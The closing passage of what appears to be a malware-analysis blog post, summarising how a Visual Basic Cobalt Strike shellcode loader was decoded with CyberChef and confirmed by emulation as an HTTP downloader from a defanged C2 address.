
For extra confirmation, we can go ahead and emulate the output inside of the SpeakEasy emulator.

This confirms that the bytes are shellcode, which act as a http-based downloader from the ip of 47.98.41[.]147
Conclusion

In this blog, we have analysed a visual basic script containing a shellcode loader for cobalt strike. We have gone

over some basic tips for analysing scripts, as well as some advanced functionality for decoding using CyberChef.

In the end, we have successfully identified a C2 Address and confirmed the shellcode functionality using the

SpeakEasy emulator.
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